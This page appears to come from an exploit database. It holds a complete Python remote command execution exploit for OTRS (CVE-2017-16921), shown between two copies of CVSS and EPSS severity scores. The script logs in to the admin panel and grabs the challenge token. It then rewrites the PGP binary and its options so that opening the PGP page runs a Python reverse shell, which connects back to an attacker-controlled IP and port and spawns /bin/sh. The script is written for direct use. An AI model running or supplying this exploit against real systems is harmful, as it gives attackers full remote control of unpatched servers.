9 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 High
AI Score
Confidence
High
0.023 Low
EPSS
Percentile
89.8%
# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2)
# Date: 21-04-2021
# Exploit Author: Hex_26
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921
#!/usr/bin/env python3
"""
Designed after https://www.exploit-db.com/exploits/43853.
Runs a python reverse shell on the target with the preconfigured options.
This script does not start a listener for you. Run one on your own with netcat or another similar tool
By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition.
"""
import requests;
import sys;
baseuri = "http://10.1.1.1/index.pl";
username = "root@localhost";
password = "root";
revShellIp = "10.1.1.2";
revShellPort = 7007;
sess = requests.Session();
print("[+] Retrieving auth token...");
data = {"Action":"Login","RequestedURL":"","Lang":"en","TimeOffset":"-480","User":username,"Password":password};
sess.post(baseuri,data=data);
if "OTRSAgentInterface" in sess.cookies.get_dict():
print("[+] Successfully logged in:");
print("OTRSAgentInterface",":",sess.cookies.get_dict()["OTRSAgentInterface"]);
else:
print("[-] Failed to log in. Bad credentials?");
sys.exit();
print("[+] Grabbing challenge token from PGP panel...");
contents = sess.get(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework").text;
challTokenStart = contents.find('<input type="hidden" name="ChallengeToken" value="')+50;
challengeToken = contents[challTokenStart:challTokenStart+32];
print("[+]",challengeToken);
print("[+] Enabling PGP keys in config, and setting our malicious command");
settings = {\
"ChallengeToken":challengeToken,\
"Action":"AdminSysConfig",\
"Subaction":"Update",\
"SysConfigGroup":"Framework",\
"SysConfigSubGroup":"Crypt::PGP",\
"DontWriteDefault":"1",\
"PGP":"1",\
"PGP::Bin":"/usr/bin/python",\
"PGP::Options":"-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + revShellIp + "\"," + str(revShellPort) + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",\
"PGP::Key::PasswordKey[]":"488A0B8F",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"1",\
"PGP::Key::PasswordKey[]":"D2DF79FA",\
"PGP::Key::PasswordContent[]":"SomePassword",\
"PGP::Key::PasswordDeleteNumber[]":"2",\
"PGP::TrustedNetworkItemActive":"1",\
"PGP::TrustedNetwork":"0",\
"PGP::LogKey[]":"BADSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.",\
"PGP::LogDeleteNumber[]":"1",\
"PGP::LogKey[]":"ERRSIG",\
"PGP::LogContent[]":"It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.",\
"PGP::LogDeleteNumber[]":"2",\
"PGP::LogKey[]":"EXPKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+an+expired+key.",\
"PGP::LogDeleteNumber[]":"3",\
"PGP::LogKey[]":"GOODSIG",\
"PGP::LogContent[]":"Good+PGP+signature.",\
"PGP::LogDeleteNumber[]":"4",\
"PGP::LogKey[]":"KEYREVOKED",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"5",\
"PGP::LogKey[]":"NODATA",\
"PGP::LogContent[]":"No+valid+OpenPGP+data+found.",\
"PGP::LogDeleteNumber[]":"6",\
"PGP::LogKey[]":"NO_PUBKEY",\
"PGP::LogContent[]":"No+public+key+found.",\
"PGP::LogDeleteNumber[]":"7",\
"PGP::LogKey[]":"REVKEYSIG",\
"PGP::LogContent[]":"The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.",\
"PGP::LogDeleteNumber[]":"8",\
"PGP::LogKey[]":"SIGEXPIRED",\
"PGP::LogContent[]":"The+PGP+signature+is+expired.",\
"PGP::LogDeleteNumber[]":"9",\
"PGP::LogKey[]":"SIG_ID",\
"PGP::LogContent[]":"Signature+data.",\
"PGP::LogDeleteNumber[]":"10",\
"PGP::LogKey[]":"TRUST_UNDEFINED",\
"PGP::LogContent[]":"This+key+is+not+certified+with+a+trusted+signature%21.",\
"PGP::LogDeleteNumber[]":"11",\
"PGP::LogKey[]":"VALIDSIG",\
"PGP::LogContent[]":"The+PGP+signature+with+the+keyid+is+good.",\
"PGP::LogDeleteNumber[]":"12",\
"PGP::StoreDecryptedData":"1"\
};
sess.post(baseuri+"?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework",data=settings);
print("[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started.");
sess.get(baseuri+"?Action=AdminPGP");
print("[+] Exploit complete, check your listener for a shell");
9 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 High
AI Score
Confidence
High
0.023 Low
EPSS
Percentile
89.8%